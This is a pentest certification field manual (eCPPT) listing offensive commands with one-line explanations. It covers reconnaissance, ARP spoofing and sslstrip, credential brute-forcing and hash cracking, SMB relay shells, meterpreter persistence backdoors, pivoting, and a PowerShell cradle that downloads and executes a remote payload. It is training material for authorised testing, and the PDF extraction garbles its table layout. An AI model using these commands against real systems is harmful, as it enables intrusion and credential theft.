eCPPT FieldManual
eCPPT FieldManual
eCPPT FieldManual
eCPPT
C
ertified
P
rofessional P
enetration T
ester
Field Manual
By: kindredsec
https://twitter.com/kindredsec
Disclaimer:
This manual is designed as a repository for commonly used commands
used within the scope of the eCPPT Certification Exam. This is NOT a
detailed explanation on the mechanics of the attacks. Please refer to
elearnsecurity’s PTP course in order to understand the mechanics of
the various attacks referred to in this field manual. Also note that
these commands are not designed to suit everyone’s situation, nor are
the commands listed in this manual the only way to get the intended
results. For example, many of the commands listed in this manual have
the -
v
(verbose) option set. This obviously is not required for the
associated attack to work, but I may personally feel that the verbose
option generates useful output for the user. Do not treat the commands
introduced in this manual as the “cookie-cutter” command usage. Take
the time to investigate the command and find what works best for you
as an attacker. Also, this manual is not all-inclusive. For every
command introduced, there is probably 100 more that do the exact same
thing. If you do not like the tools introduced in the manual, there
are likely a multitude of other options available.
Manual Layout:
The manual content will be introduced in a simple one-to-one mapping
via a 3-by-x table, with the left-most column representing the
command-type, the middle column representing the command and the right
column representing a quick explanation of the command.
The middle column has the command structure and the right-most column
provides a generic description of the command. The left-most column is
designed to specify whether the command being introduced is CLI-based,
or something more specialized. An asterisk (
*
) indicates that the
command being introduced is CLI-based, and will be executed within a
terminal. A plus sign (
+
) indicates that the information being
introduced is something other than a CLI command, such as an SQL
payload. A pound symbol (
#
) indicates that the information being
introduced is a Metasploit module or payload. The atmark symbol (
@
)
indicates that the information being introduced is a meterpreter
command. A Dollar Sign (
$
) indicates that the information being
introduced is a Windows Command or PowerShell Command.
* nslookup
target Performs a basic DNS Query.
* dig
domain M
X Returns mails server within specified
domain.
* dig
domain N
S Returns name servers within specified
domain.
* dig axfr @
name_server domain Attempts a zone transfer from
specified name server.
* dnsrecon -d d
omain -
a --name_server
server Attempts a zone transfer from
specified name server.
* dnsmap d
omain Attempts to brute forces subdomains
of specified domain.
* dnsenum.pl d
omain Automates domain enumeration.
* nmap -sS
target Performs a simple SYN scan of target.
* nmap -sU
target Performs a UDP scan of target.
* nmap -sV
target Performs a version scan.
* nmap -O
target Performs an OS scan.
* hping3 -
scan_type--scan
portstarget Perform SYN scan for range of ports
with hping.
* nmap -
scan_type
-D d
ecoy1,2… target Performs a scan using decoys.
* nmap -
scan_type
-T
(0-5) target Performs a scan with timing
manipulation.
* nmap -
scan_type
-g s
rc_port target Scans target from specified source
port.
* nmap -
scan_type target
--disable-arp-ping Force nmap to use ICMP instead of ARP
when scanning local network.
* nmap -O -v z
ombie_ip Determines if IP ID is incremental.
* hping3 -S -r -p p
ort zombie_ip Probes a zombie candidate.
* hping3 -a
zombie_ip
-S -p d
st_port target Spoofs zombie’s IP and probes target.
* nbtscan -v t
arget Probes NetBIOS info of machine.
* smbclient -L t
arget Lists shared resources of target.
* nmblookup -A t
arget Displays system shares information.
* smbclient
//
target_ip
/target_share
-N Attempts to access a shared resources
with no credentials (null session).
* enum4linux t
arget enumerates information on target
Windows system (shares, users, etc).
* rpc -N -U “” t
arget Attempt to connect to RPC service with
no credentials.
* nmap --script=smb-brute
target Attempts to bruteforce SMB credentials
with nmap.
* snmpwalk -c c
_string
-v
version target Enumerates SNMP info of the given
target.
* snmpwalk -c c
_string
-v
version target OID Obtains SNMP info at specified OID.
* snmpset -c c
_string -v
version target OID Changes the SNMP information at
value_type value specified OID.
* macof -i
interface Performs a CAM Table Flood attack.
* arpspoof -i i
nterface
-t
target1
-rtarget2 Performs an ARP Spoofing attack.
* bettercap -I i
nterface
--no-spoofing Performs a basic ping sweep of
connected network.
* bettercap -I i
nterface
-G
gateway
-T t
arget Performs an ARP Spoofing attack.
* sslstrip -a -f -l 8080 -w
log Have ssltrip begin listening for
connections.
* bettercap -G g
ateway
-T
target -
-proxy-https use sslstrip attack with bettercap.
* python mitmf.py -i
interface --spoof --arp Performs a MiTM attack using
--dns --hsts --gateway gateway
--targets sslstrip2/sslstrip+
target
* medusa -h
target -
M
protocol -
U
usr_list
-P Attempts to crack credentials of
pwd_list network service when user unknown.
* medusa -h
target -
M
protocol -
u
usrname
-P Attempts to crack credentials of
pwd_list network service when user is known.
* hydra -l
usrname-
P
pwd_list service
://
target Attempts to crack credentials of
network service when user is known
* patator
module h
ost=
target u
ser=FILE0 Attempts to crack credentials of
password=FILE1 0=
usr_list
1=
pwd_list network service when user unknown.
* john --wordlist=
word_list
--rules p
wd_file Cracks hashes in specified local
file using a wordlist.
* john -i
pwd_file Cracks hashes in specified local
file using a pure brute force.
* john --show p
wd_file Shows the results of a cracking
* john --format=netlm
hash_file Cracks first portion of an LM/NTLM
hash.
* rcracki_mt -h
first_8bytes_hash -
t 4 *.rti Cracks first portion of an LM/NTLM
hash.
* python smbrelayx.py -h t
arget -
e
mal_exefile Attempts to obtain rev shell using
SMB Relay attack.
@ migrate
pid Make meterpreter migrate to another
process.
@ impersonate_token t
oken Attempt to impersonate a user.
* gcc -m
(32or64)
-o
new_file_names
ource_code Compiles source code into a Linux
executable.
@ upload l
ocal_file target_file_location Uploads a file onto target system.
$ net localgroup
“group
”user
/add Adds a user to a Windows group.
* rdesktop
target -
u u
ser
-p p
assword Initiate an RDP session with target.
@ run persistence -A -X -i
time_int
-p p
ort
-r Creates a persistent backdoor on a
attacker_ip target.
$ net user
acc_name acc_pwd
/add Create a user on Windows system.
$ net localgroup
group_name Lists all users within group.
@ run arp_scanner -r
network
/mask Perform an ARP scan of exploited
system’s network.
# route add
target_network target_mask Uses metasploit session as a route to
session# target internal network.
@ run autoroute -s t
arget_network
/
CIDR Use session as route to target internal
network.
@ portfwd add -l
local_port -
p
remote_port Perform port forwarding via
-r
target meterpreter.
netsh advfirewall firewall add rule Opens a port on a Windows system; can
$ name=
name d
ir=
in/out p
rotocol=TCP be used with port forwarding to access
localport=
port a
ction=allow internal systems.
$ netsh interface portproxy add v4tov4 Creates a port forwarding rule that
listenport=
port l
istenaddress=
ip directs traffic to another host; good
connectport=
port
connectaddress=ip for pivoting.
$ Get-Help
cmdlet Get Usage information on the specified
cmdlet.
$ Get-Command -Name s
tring Searches for Commands related to given
string.
$ Select-String -Path
path -
Pattern
string Searches for specified string within
the documents in given path.
$ Get-Content f
ile Displays the contents of specified file
$ Get-Service s
tring Displays services on the system (search
string optional)
$ Import-Module
module_path Imports the specified module.
$ foreach (
statement) {
body} PowerShell For Loop Syntax
var =
New-Object System.Xml.XmlDocument; Downloads and executes malicious
$ var.
Load(“remote_xml_file”); i
ex PowerShell located within an XML
var.
command.a.execute document.
$ Write-Host v
ariable Output the contents of a variable.
* cat
file |
-
iconv --to-code UTF-16LE | Converts PowerShell payload to a
base 64 properly encoded base64 string
$ powershell o
ptions
-enc
base64_string executes a base64-encoded payload.
$ports=(ports
); $ip
=”
ip”
;
foreach ($port
in $ports) {try{$socket=New-Object
System.Net.Sockets.TcpClient($ip,$port);} Creates a Native portscan from a
$ catch {}; if ($socket -eq $null) {echo PowerShell hosts of a specified target.
$ip”:”$port” - Closed”;}else(echo (No additional modules need to be
$ip”:”$port” - Open”; $socket = $null;}} loaded for this to work.)
Invoke-Portscan -Hosts “
hosts
” -ports Through the PowerSploit module,
$ “
ports” performs a port scan on host range.
Import-Module
power_up_module
; Probes local system for potential
$ Invoke-AllChecks vulnerabilities.
* showmount -e i
p_address Shows available exports from the given
host.
* rpcinfo -p i
p_address Displays all the RPC-based services
running on given host.
* smbclient -L i
p_address Obtains basic information regarding SMB
and NetBIOS information.
* smbclient \\\\
ip_address
\\
directory Attempts to access a SMB/Samba shared
directory.
* mount -t nfs i
p_address
:directory Mounts a remote NFS-shared directory
mount_point
-o nolock for access.
rpcclient -U “” i
p_address
-N \ As a guest, enumerate the SID of user
* --command=”lookupnames n
ame
” on a system (Note; should be placed in
some sort of loop)
* smtp-user-enum -M m
ethod -U u
ser_list
-t Attempts to enumerate the users that
ip_address exist on an SMTP server.
* hydra -L
user_list -
P
password_list Performs a network authentication
service://target brute force attempt.
* hydra -l
user -
p
password
-M s
erver_list Attempts to use discovered
service credentials on other specified
servers.
* searchsploit s
earch Searches for exploits of specified
search.
* dirsearch.py -u t
arget -
e cgi -r Attempts to find any cgi files on a
target web server.
* unshadow
passwd_file shadow_file > output Creates a file that combines shadow
and passwd file for cracking
* ldd
program Determines the shared libraries used
by a program.
* objdump -x p
rogram
| g
rep
RPATHorRUNPATH Determines whether a binary was
compiled with the RPATH or RUNPATH
option.
* perl linux_exploit_suggester.pl -k
kernel Determines which vulnerabilities are
in the specified kernel/
* tdbdump
secrets_file Dumps Samba user information.